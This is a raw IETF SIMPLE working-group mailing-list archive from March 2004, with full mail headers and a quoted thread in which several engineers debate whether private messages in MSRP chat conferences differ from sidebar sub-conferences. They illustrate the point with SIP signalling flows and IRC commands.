	for <simple@ietf.org>; Mon, 1 Mar 2004 23:48:09 -0500 (EST)
From: Markus.Isomaki@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay1pB-0001Pg-00
	for simple@ietf.org; Mon, 01 Mar 2004 23:48:09 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay1oB-0001I4-00
	for simple@ietf.org; Mon, 01 Mar 2004 23:47:09 -0500
Received: from mgw-x1.nokia.com ([131.228.20.21])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay1nD-0001Ao-00
	for simple@ietf.org; Mon, 01 Mar 2004 23:46:08 -0500
Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120])
	by mgw-x1.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i224k1T02928;
	Tue, 2 Mar 2004 06:46:01 +0200 (EET)
X-Scanned: Tue, 2 Mar 2004 06:45:39 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks001.ntc.nokia.com (8.12.9/8.12.9) id i224jdaj030435;
	Tue, 2 Mar 2004 06:45:39 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks001.ntc.nokia.com 00IGGUVK; Tue, 02 Mar 2004 06:45:37 EET
Received: from esebh001.NOE.Nokia.com (esebh001.ntc.nokia.com [172.21.138.28])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i224jV708678;
	Tue, 2 Mar 2004 06:45:31 +0200 (EET)
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 2 Mar 2004 06:45:31 +0200
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] Chat sessions
Message-ID: <E392EEA75EC5F54AB75229B693B1B6A707E7A369@esebe018.ntc.nokia.com>
Thread-Topic: [Simple] Chat sessions
Thread-Index: AcQAD/UO2h3TtQD+SQ+zIHBYfNpkoAAAB2KQ
To: <Brian.Rosen@marconi.com>, <Miguel.An.Garcia@nokia.com>
Cc: <aki.niemi@nokia.com>, <jdrosen@dynamicsoft.com>, <pkyzivat@cisco.com>,
        <hisham.khartabil@nokia.com>, <simple@ietf.org>
X-OriginalArrivalTime: 02 Mar 2004 04:45:31.0578 (UTC) FILETIME=[315C19A0:01C40011]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 06:45:31 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.4 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable

Brian,

Brian Rosen wrote:
> What makes a private message different from an instant=20
> message to a totally
> arbitrary person (not related to the main conference)?  Is it=20
> just that the
> set of possible destinations is limited to those in the main=20
> conference?
> Why is that interesting in a protocol sense?

The difference is that the recipient must be able to distinguish whether =
the message comes within the context of the conference or separately. =
Only this way the message can be treated properly in recipient UA. If =
it's a private message within a chat, it typically appears among the =
other messages sent within the chat. If it's separate, it typically goes =
to some sort of inbox, and is displayed separately from the chat.=20

Private messages are supported by almost all multiparty-chat systems, so =
MSRP conferences should be no different.

Markus


> -----Original Message-----
> From: ext Rosen, Brian [mailto:Brian.Rosen@marconi.com]
> Sent: 02 March, 2004 06:34
> To: Garcia Miguel.An (Nokia-NRC/Helsinki); Isomaki Markus
> (Nokia-NRC/Helsinki)
> Cc: Niemi Aki (Nokia-M/Espoo); jdrosen@dynamicsoft.com;
> pkyzivat@cisco.com; Khartabil Hisham (Nokia-TP-MSW/Helsinki);
> simple@ietf.org
> Subject: RE: [Simple] Chat sessions
>=20
>=20
> Doesn't work for me; you don't need a resource URI for a=20
> sidebar.  You might
> be
> able to use one, but its not necessary.  The only characteristic of a
> sidebar
> that matters is that the media goes to a subset of participants.
>=20
> You need some identifier in all cases. =20
>=20
> Let me push this in another direction.
>=20
> What makes a private message different from an instant=20
> message to a totally
> arbitrary person (not related to the main conference)?  Is it=20
> just that the
> set of possible destinations is limited to those in the main=20
> conference?
> Why is that interesting in a protocol sense?
>=20
> Brian
>=20
> > -----Original Message-----
> > From: Miguel Garcia [mailto:Miguel.An.Garcia@nokia.com]
> > Sent: Monday, March 01, 2004 9:29 PM
> > To: Isomaki Markus (Nokia-NRC/Helsinki)
> > Cc: ext Rosen, Brian; Niemi Aki (Nokia-M/Espoo);
> > jdrosen@dynamicsoft.com; pkyzivat@cisco.com; Khartabil Hisham
> > (Nokia-TP-MSW/Helsinki); simple@ietf.org
> > Subject: Re: [Simple] Chat sessions
> >=20
> >=20
> > Folks, what about this one:
> >=20
> > A sidebar conference is a temporary scoped subconference. By=20
> > temporary=20
> > scoped I mean it exists  (has an associated resource URI) for some=20
> > duration time. The participants may or may not be part of the main=20
> > conference. Messages are addressed to the sidebar conference, in a=20
> > similar way a message is addressed to the conference. The=20
> > sender may or=20
> > may not know who are the members of the sidebar conference.
> >=20
> > A private message is not temporary scoped and it is not=20
> > identified by a=20
> > resource URI. Unlike sidebar conferences, the participants=20
> > are a subset=20
> > of the conference. Unlike sidebar conferences, private messages are=20
> > addressed to each of the receivers, since there is not a resource=20
> > associated with it. The sender has to explicitly define the=20
> > receivers of=20
> > the message.
> >=20
> > Miguel
> >=20
> > Isomaki Markus (Nokia-NRC/Helsinki) wrote:
> >=20
> > > Hi,
> > >=20
> > > I don't see us getting to agreement here... Still, see below:
> > >=20
> > >=20
> > >>-----Original Message-----
> > >>From: ext Rosen, Brian [mailto:Brian.Rosen@marconi.com]
> > >>Sent: 02 March, 2004 03:35
> > >>To: Isomaki Markus (Nokia-NRC/Helsinki); Niemi Aki (Nokia-M/Espoo)
> > >>Cc: jdrosen@dynamicsoft.com; pkyzivat@cisco.com; Khartabil Hisham
> > >>(Nokia-TP-MSW/Helsinki); Garcia Miguel.An (Nokia-NRC/Helsinki);
> > >>simple@ietf.org
> > >>Subject: RE: [Simple] Chat sessions
> > >>
> > >>
> > >>What is the difference between a sidebar and a private message?
> > >>
> > >>I think the ONLY difference is the number of people involved.
> > >>
> > >>A sidebar is two or more.  A private message is exactly two.
> > >>
> > >=20
> > >=20
> > > I don't think we need to limit the number of recipients for=20
> > the private message. The only thing is that they need to be=20
> > conference participants.
> > >=20
> > >=20
> > >>There is NO other meaningful difference.
> > >>
> > >>Your argument on overhead is directly comparable to the argument
> > >>we went through when we defined sidebars as separate sessions.
> > >>I argued that we should NOT create a separate session, but
> > >>simply alter the media policy appropriately.  You are simply
> > >>repeating the arguments I made.
> > >>
> > >>I lost that argument. =20
> > >>
> > >=20
> > >=20
> > > My comment to that is that there are differences in medias=20
> > that should be taken into account. As you see in the example=20
> > I made, having only one solution leads to hugely unoptimal system.=20
> > >=20
> > >=20
> > >>Brian
> > >>
> > >>
> > >>>-----Original Message-----
> > >>>From: Markus.Isomaki@nokia.com [mailto:Markus.Isomaki@nokia.com]
> > >>>Sent: Monday, March 01, 2004 8:16 PM
> > >>>To: Brian.Rosen@marconi.com; aki.niemi@nokia.com
> > >>>Cc: jdrosen@dynamicsoft.com; pkyzivat@cisco.com;
> > >>>hisham.khartabil@nokia.com; Miguel.An.Garcia@nokia.com;=20
> > >>>simple@ietf.org
> > >>>Subject: RE: [Simple] Chat sessions
> > >>>
> > >>>
> > >>>Hi,
> > >>>
> > >>>It seems we are not getting the message through ;)
> > >>>
> > >>>Let's see how sending a private message looks like as a=20
> > >>>sidebar vs. as proposed in the current draft. The case is=20
> > >>>this: Users A and B participate in the same conference, A=20
> > >>>wants to send a private message to B.
> > >>>
> > >>>Sidebar case would be roughly like this:
> > >>>1. A creates a conference for a sidebar using INVITE
> > >>>   - new MSRP session is established between A and the new=20
> > >>>focus instance
> > >>>2. A refers B to that conference
> > >>>3. B joins the conference
> > >>>   - new MSRP session is established
> > >>>4. A sends MSRP SEND request to the conference
> > >>>5. focus forwards it to B
> > >>>6. A sends BYE
> > >>>7. focus sends BYE to B
> > >>>
> > >>>If B replies after 10 seconds, the whole process is followed=20
> > >>>again from 1 to 7.
> > >>>
> > >>>Private message case:
> > >>>1. A sends private message targeted to B over an existing=20
> > >>
> > >>MSRP session
> > >>
> > >>>2. focus forwards it to B
> > >>>
> > >>>So which solution would you like to adopt?=20
> > >>>
> > >>>Markus
> > >>>
> > >>>
> > >>>
> > >>>>-----Original Message-----
> > >>>>From: ext Rosen, Brian [mailto:Brian.Rosen@marconi.com]
> > >>>>Sent: 01 March, 2004 12:41
> > >>>>To: Niemi Aki (Nokia-M/Espoo)
> > >>>>Cc: ext Jonathan Rosenberg; Isomaki Markus (Nokia-NRC/Helsinki);
> > >>>>pkyzivat@cisco.com; Khartabil Hisham=20
> > >>
> > >>(Nokia-TP-MSW/Helsinki); Garcia
> > >>
> > >>>>Miguel.An (Nokia-NRC/Helsinki); simple@ietf.org
> > >>>>Subject: RE: [Simple] Chat sessions
> > >>>>
> > >>>>
> > >>>>Aki
> > >>>>
> > >>>>My post was meant to point out that we had decided to=20
> > >>>>implement sidebars
> > >>>>as separate dialogs from main conferences, which is similar=20
> > >>>
> > >>>to making
> > >>>
> > >>>>"private messages" separate dialogs from a main IM=20
> > >>
> > >>dialog.  In that
> > >>
> > >>>>way, I think that sidebars and private messages are the=20
> > >>>
> > >>>same; they are
> > >>>
> > >>>>media sent to a subset of participants in the group.  If there
> > >>>>is a reason to allow a special way to subset destinations for a
> > >>>>private message rather than the entire chat group, then whatever
> > >>>>argument you make would apply to a sidebar. =20
> > >>>>
> > >>>>Brian
> > >>>>
> > >>>>
> > >>>>>-----Original Message-----
> > >>>>>From: Niemi Aki (Nokia-M/Espoo) [mailto:aki.niemi@nokia.com]
> > >>>>>Sent: Monday, March 01, 2004 2:58 AM
> > >>>>>To: ext Rosen, Brian
> > >>>>>Cc: ext Jonathan Rosenberg; Markus.Isomaki@nokia.com;
> > >>>>>pkyzivat@cisco.com; hisham.khartabil@nokia.com;
> > >>>>>Miguel.An.Garcia@nokia.com; simple@ietf.org
> > >>>>>Subject: Re: [Simple] Chat sessions
> > >>>>>
> > >>>>>
> > >>>>>Brian,
> > >>>>>
> > >>>>>I've never argued for private messages over sidebars. I still=20
> > >>>>>maintain=20
> > >>>>>that sidebars and private messages are different and=20
> > >>>>
> > >>>>*complimentary*=20
> > >>>>
> > >>>>>features, and that we need *both* to have a complete=20
> > >>>>
> > >>>>solution for IM=20
> > >>>>
> > >>>>>conferences.
> > >>>>>
> > >>>>>Cheers,
> > >>>>>Aki
> > >>>>>
> > >>>>>ext Rosen, Brian wrote:
> > >>>>>
> > >>>>>>Aki
> > >>>>>>
> > >>>>>>When we were discussing sidebars, I made arguments like=20
> > >>>>>
> > >>>>>this against making
> > >>>>>
> > >>>>>>a sidebar
> > >>>>>>a separate session.  Sidebars, I argued, are just media=20
> > >>>>>
> > >>>>>(mixing) changes,
> > >>>>>
> > >>>>>>they have
> > >>>>>>nothing to do with session management.
> > >>>>>>
> > >>>>>>I lost this argument, and I will be very unhappy if IM=20
> > >>>>>
> > >>>>>works differently.
> > >>>>>
> > >>>>>>One of
> > >>>>>>the reasons I lost it was the observation that a sidebar=20
> > >>>>>
> > >>>>>could include
> > >>>>>
> > >>>>>>participants
> > >>>>>>who are not main conference participants.  I think you have=20
> > >>>>>
> > >>>>>the same issue
> > >>>>>
> > >>>>>>here.
> > >>>>>>
> > >>>>>>Brian
> > >>>>>>
> > >>>>>>
> > >>>>>>
> > >>>>>>>-----Original Message-----
> > >>>>>>>From: Niemi Aki (Nokia-M/Espoo) [mailto:aki.niemi@nokia.com]
> > >>>>>>>Sent: Sunday, February 29, 2004 12:40 PM
> > >>>>>>>To: ext Jonathan Rosenberg
> > >>>>>>>Cc: Markus.Isomaki@nokia.com; Brian.Rosen@marconi.com;
> > >>>>>>>pkyzivat@cisco.com; hisham.khartabil@nokia.com;
> > >>>>>>>Miguel.An.Garcia@nokia.com; simple@ietf.org
> > >>>>>>>Subject: Re: [Simple] Chat sessions
> > >>>>>>>
> > >>>>>>>
> > >>>>>>>
> > >>>>>>>
> > >>>>>>>ext Jonathan Rosenberg wrote:
> > >>>>>>><snip />
> > >>>>>>>
> > >>>>>>>>>3. As Aki explained, sidebars and private IMs within a=20
> > >>>>
> > >>>>conference=20
> > >>>>
> > >>>>>>>>>are two different things. Sidebars are subconferences,=20
> > >>>>>
> > >>>>>that include
> > >>>>>
> > >>>>>>>>>a certain subset of the participants in the main=20
> > >>>>>
> > >>>>>conference. They=20
> > >>>>>
> > >>>>>>>>>need to be explicitly created and deleted. Private=20
> > >>>
> > >>>IMs within a=20
> > >>>
> > >>>>>>>>>conference are also targeted to a subset of the conference=20
> > >>>>>>>>>participants. But there is no need to setup a sidebar or=20
> > >>>>>
> > >>>>>any other=20
> > >>>>>
> > >>>>>>>>>additional context to send them. The recipients can=20
> > >>
> > >>simply be=20
> > >>
> > >>>>>>>>>signaled within each message (as proposed by using CPIM=20
> > >>>>>
> > >>>>>To header).
> > >>>>>
> > >>>>>>>>>This seems to be a specific property of IM, as=20
> > >>
> > >>this sort of=20
> > >>
> > >>>>>>>>>addressing would be impossible e.g. in RTP. In=20
> > >>
> > >>theory priate=20
> > >>
> > >>>>>>>>>messaging facility could be supported by sidebars, but in=20
> > >>>>>
> > >>>>>this case
> > >>>>>
> > >>>>>>>>>the focus would need to have as many sidebars constantly=20
> > >>>>>
> > >>>>>setup, as
> > >>>>>
> > >>>>>>>>>there are different possible participant subset=20
> > >>>>>
> > >>>>>combinations. Way=20
> > >>>>>
> > >>>>>>>>>too complex and not needed.
> > >>>>>>>>
> > >>>>>>>>
> > >>>>>>>>I dont think that, functionally, what you are describing is=20
> > >>>>>>>
> > >>>>>>>different
> > >>>>>>>
> > >>>>>>>
> > >>>>>>>>from a sidebar. What differs is that the specifics of=20
> > >>>>
> > >>>>this media=20
> > >>>>
> > >>>>>>>>type allow for a more efficient implementation of the=20
> > >>>>
> > >>>>sidebar than=20
> > >>>>
> > >>>>>>>>would be possible for another media type, such as audio.=20
> > >>>>>>>
> > >>>>>>>Indeed, the=20
> > >>>>>>>
> > >>>>>>>
> > >>>>>>>>same is true for IM in general - why set up a session (ala=20
> > >>>>>>>
> > >>>>>>>msrp) when
> > >>>>>>>
> > >>>>>>>
> > >>>>>>>>you can just send a pager mode?
> > >>>>>>>
> > >>>>>>>The ultimate proof of difference in functionality is=20
> > >>>
> > >>>that private
> > >>>
> > >>>>>>>messages are usable and useful in a sidebar - in fact=20
> > >>>
> > >>>it makes no
> > >>>
> > >>>>>>>difference whether they're sent within the context of a=20
> > >>>>>
> > >>>>>conference, a
> > >>>>>
> > >>>>>>>conference sidebar, or a sidebar of a conference sidebar.
> > >>>>>>>
> > >>>>>>>Let me provide a concrete example of an already existing=20
> > >>>>>
> > >>>>>service (IRC)
> > >>>>>
> > >>>>>>>that has what I think is a close approximation of both=20
> > >>>
> > >>>sidebar and
> > >>>
> > >>>>>>>private message functionality. (BTW, I feel strongly=20
> > >>>
> > >>>that if MSRP
> > >>>
> > >>>>>>>conferences aren't as feature rich as IRC is, and=20
> provide the=20
> > >>>>>>>same user
> > >>>>>>>experience, we've failed miserably.)
> > >>>>>>>
> > >>>>>>>Channels in IRC have identities, e.g., #helsinki, and=20
> > >>>>>>>participant lists
> > >>>>>>>that are delivered in a very similar manner that the=20
> > >>>>
> > >>>>conference-info
> > >>>>
> > >>>>>>>events would be delivered. Users join these channels=20
> > >>>>
> > >>>>using JOIN, at
> > >>>>
> > >>>>>>>which time they get the participant list, and after that,=20
> > >>>>>>>updates e.g.,
> > >>>>>>>whenever anyone leaves or joins the channel.
> > >>>>>>>
> > >>>>>>>Users can send private messages to the other participants in=20
> > >>>>>>>the channel:
> > >>>>>>>
> > >>>>>>>	PRIVMSG foobar :Some nick you got there foobar!
> > >>>>>>>
> > >>>>>>>Usually, these messages are displayed in the same pane as=20
> > >>>>>
> > >>>>>the rest of
> > >>>>>
> > >>>>>>>the channel's messages, including information about the=20
> > >>>
> > >>>sender but
> > >>>
> > >>>>>>>marked accordingly as private.
> > >>>>>>>
> > >>>>>>>A user can also invite others to a sidebar of sorts, that=20
> > >>>>
> > >>>>is, a new
> > >>>>
> > >>>>>>>channel, whose properties can be set such that it can=20
> > >>>
> > >>>be joined by
> > >>>
> > >>>>>>>invitation only.
> > >>>>>>>
> > >>>>>>>	INVITE FunnyNick #my_channel
> > >>>>>>>	INVITE BeerLover #my_channel
> > >>>>>>>	INVITE ROOLZ #my_channel
> > >>>>>>>
> > >>>>>>>Joining this new channel as a result of an invitation=20
> > >>>
> > >>>(with JOIN)
> > >>>
> > >>>>>>>usually results in a new window, moving the focus of=20
> > >>>>>
> > >>>>>conversation away
> > >>>>>
> > >>>>>>>from the original channel, but still maintaining the=20
> > >>>>>
> > >>>>>original channel'
> > >>>>>
> > >>>>>>>and its messages active in the background.
> > >>>>>>>
> > >>>>>>>The users may again send messages either to the entire=20
> > >>>>>>>channel (MSG), or
> > >>>>>>>to only one participant (PRIVMSG). A recipient of an=20
> > >>
> > >>INVITE will
> > >>
> > >>>>>>>generally make a choice just like in a SIP=20
> invitation whether=20
> > >>>>>>>or not to
> > >>>>>>>join the sidebar or not. Receiving a PRIVMSG requires no=20
> > >>>>>
> > >>>>>actions from
> > >>>>>
> > >>>>>>>the recipient. Indeed, it might even go unnoticed.
> > >>>>>>>
> > >>>>>>>Taking this into account, I fail to see how sidebars alone=20
> > >>>>>
> > >>>>>can be made
> > >>>>>
> > >>>>>>>to work in providing similar functionality in MSRP=20
> > >>>>>
> > >>>>>conferences. Either
> > >>>>>
> > >>>>>>>sidears or private messages alone won't result in the=20
> > >>>>
> > >>>>same level of
> > >>>>
> > >>>>>>>functionality.
> > >>>>>>>
> > >>>>>>>Wrapping all private conversation inside a sidebar is=20
> > >>
> > >>incredibly
> > >>
> > >>>>>>>inefficient and results in bad user experience, since there=20
> > >>>>>>>is no way to
> > >>>>>>>distinguish a REFER that is to a sidebar whose sole purpose=20
> > >>>>>>>is to send a
> > >>>>>>>single private message to the user or have a real ad-hoc=20
> > >>>>>
> > >>>>>conversation
> > >>>>>
> > >>>>>>>posibly consisting of a real exchange of messages. In fact,=20
> > >>>>>
> > >>>>>this would
> > >>>>>
> > >>>>>>>require 4 rounds of singalling (not including sidebar=20
> > >>>
> > >>>creation and
> > >>>
> > >>>>>>>tear-down), plus user interaction in between:
> > >>>>>>>
> > >>>>>>>REFER (to sidebar)
> > >>>>>>>200 OK
> > >>>>>>>
> > >>>>>>>-Query/inform user whether wants to join-
> > >>>>>>>
> > >>>>>>>INVITE (to sidebar)
> > >>>>>>>200 OK
> > >>>>>>>ACK
> > >>>>>>>
> > >>>>>>>(Note: would probably also require subscription to=20
> > >>>>
> > >>>>conference-info,
> > >>>>
> > >>>>>>>because one would be interested to whom they are sending=20
> > >>>>
> > >>>>the private
> > >>>>
> > >>>>>>>messages...)
> > >>>>>>>
> > >>>>>>>MSRP SEND
> > >>>>>>>MSRP OK
> > >>>>>>>
> > >>>>>>>BYE
> > >>>>>>>200 OK
> > >>>>>>>
> > >>>>>>>...as opposed to a single round of messages:
> > >>>>>>>
> > >>>>>>>MSRP SEND (private)
> > >>>>>>>200 OK
> > >>>>>>>
> > >>>>>>>(Note that enabling auto-answering wrt the REFER=20
> would in the=20
> > >>>>>>>worst case
> > >>>>>>>result in a sidebar bombardment, or having a user be=20
> > >>>>
> > >>>>moved over to a
> > >>>>
> > >>>>>>>sidebar in the middle of, say, message composition.)
> > >>>>>>>
> > >>>>>>>The same level of functionality would also not be met with=20
> > >>>>>
> > >>>>>only using
> > >>>>>
> > >>>>>>>private messages. AFAIK, the purpose of a sidebar is to=20
> > >>>>>
> > >>>>>move the focus
> > >>>>>
> > >>>>>>>of the conversation temporarily outside the original=20
> > >>>>>
> > >>>>>conference. This
> > >>>>>
> > >>>>>>>requires being able to wrap a discussion into a separate=20
> > >>>>>>>context. A very
> > >>>>>>>important aspect of this is to let the user decide=20
> whether to=20
> > >>>>>>>joing such
> > >>>>>>>a sidebar, and when to join it. Determining to which=20
> context a
> > >>>>>>>particular received private message belongs to can in this=20
> > >>>>>>>case only be
> > >>>>>>>done in the recipients head - there are no protocol=20
> > >>>>>
> > >>>>>elements to help.
> > >>>>>
> > >>>>>>>As a conclusion, I don't see how sidebars alone can provide=20
> > >>>>>>>the required
> > >>>>>>>functionality.
> > >>>>>>>
> > >>>>>>>
> > >>>>>>>
> > >>>>>>>>So, the question is, do we see the perceived efficiency=20
> > >>>>>>>
> > >>>>>>>improvements=20
> > >>>>>>>
> > >>>>>>>
> > >>>>>>>>of a pager-mode sidebar as being sufficiently good to=20
> > >>>
> > >>>allow for=20
> > >>>
> > >>>>>>>>defining a separate sidebar mechanism for it?
> > >>>>>>>
> > >>>>>>>It is also about user interaction. When a user receives an=20
> > >>>>>>>INVITE for an
> > >>>>>>>MSRP session, it can make a choice just like in a voice=20
> > >>>>
> > >>>>call between
> > >>>>
> > >>>>>>>accepting the call or rejecting it. Page mode doesn't=20
> > >>>>
> > >>>>provide that=20
> > >>>>
> > >>>>>>>functionality.
> > >>>>>>>
> > >>>>>>>Cheers,
> > >>>>>>>Aki
> > >>>>>>>
> > >>>>>>>
> > >>>>>>>
> > >>>>>>>>-Jonathan R.
> > >>>>>>>
> > >>>>>_______________________________________________
> > >>>>>Simple mailing list
> > >>>>>Simple@ietf.org
> > >>>>>https://www1.ietf.org/mailman/listinfo/simple
> > >>>>>
> > >>>>
> > >=20
> >=20
> > --=20
> > Miguel A. Garcia           tel:+358-50-4804586
> > Nokia Research Center      Helsinki, Finland
> >=20
> >=20
> > _______________________________________________
> > Simple mailing list
> > Simple@ietf.org
> > https://www1.ietf.org/mailman/listinfo/simple
> >=20
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar  1 23:52:01 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA00877
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 23:52:01 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay1sT-0002to-HO
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 23:51:33 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i224pX6x011138
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 23:51:33 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay1sT-0002tZ-9u
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 23:51:33 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA00841
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 23:51:30 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay1sQ-0001oL-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 23:51:30 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay1rS-0001gE-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 23:50:32 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay1qT-0001Yl-00; Mon, 01 Mar 2004 23:49:29 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay1q0-0002je-WC; Mon, 01 Mar 2004 23:49:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay1pD-0002i3-PG
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 23:48:11 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA00618
	for <simple@ietf.org>; Mon, 1 Mar 2004 23:48:09 -0500 (EST)
From: Markus.Isomaki@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay1pB-0001Pg-00
	for simple@ietf.org; Mon, 01 Mar 2004 23:48:09 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay1oB-0001I4-00
	for simple@ietf.org; Mon, 01 Mar 2004 23:47:09 -0500
Received: from mgw-x1.nokia.com ([131.228.20.21])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay1nD-0001Ao-00
	for simple@ietf.org; Mon, 01 Mar 2004 23:46:08 -0500
Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120])
	by mgw-x1.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i224k1T02928;
	Tue, 2 Mar 2004 06:46:01 +0200 (EET)
X-Scanned: Tue, 2 Mar 2004 06:45:39 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks001.ntc.nokia.com (8.12.9/8.12.9) id i224jdaj030435;
	Tue, 2 Mar 2004 06:45:39 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks001.ntc.nokia.com 00IGGUVK; Tue, 02 Mar 2004 06:45:37 EET
Received: from esebh001.NOE.Nokia.com (esebh001.ntc.nokia.com [172.21.138.28])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i224jV708678;
	Tue, 2 Mar 2004 06:45:31 +0200 (EET)
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 2 Mar 2004 06:45:31 +0200
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] Chat sessions
Message-ID: <E392EEA75EC5F54AB75229B693B1B6A707E7A369@esebe018.ntc.nokia.com>
Thread-Topic: [Simple] Chat sessions
Thread-Index: AcQAD/UO2h3TtQD+SQ+zIHBYfNpkoAAAB2KQ
To: <Brian.Rosen@marconi.com>, <Miguel.An.Garcia@nokia.com>
Cc: <aki.niemi@nokia.com>, <jdrosen@dynamicsoft.com>, <pkyzivat@cisco.com>,
        <hisham.khartabil@nokia.com>, <simple@ietf.org>
X-OriginalArrivalTime: 02 Mar 2004 04:45:31.0578 (UTC) FILETIME=[315C19A0:01C40011]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 06:45:31 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

Brian,

Brian Rosen wrote:
> What makes a private message different from an instant=20
> message to a totally
> arbitrary person (not related to the main conference)?  Is it=20
> just that the
> set of possible destinations is limited to those in the main=20
> conference?
> Why is that interesting in a protocol sense?

The difference is that the recipient must be able to distinguish whether =
the message comes within the context of the conference or separately. =
Only this way the message can be treated properly in recipient UA. If =
it's a private message within a chat, it typically appears among the =
other messages sent within the chat. If it's separate, it typically goes =
to some sort of inbox, and is displayed separately from the chat.=20

Private messages are supported by almost all multiparty-chat systems, so =
MSRP conferences should be no different.

Markus


> -----Original Message-----
> From: ext Rosen, Brian [mailto:Brian.Rosen@marconi.com]
> Sent: 02 March, 2004 06:34
> To: Garcia Miguel.An (Nokia-NRC/Helsinki); Isomaki Markus
> (Nokia-NRC/Helsinki)
> Cc: Niemi Aki (Nokia-M/Espoo); jdrosen@dynamicsoft.com;
> pkyzivat@cisco.com; Khartabil Hisham (Nokia-TP-MSW/Helsinki);
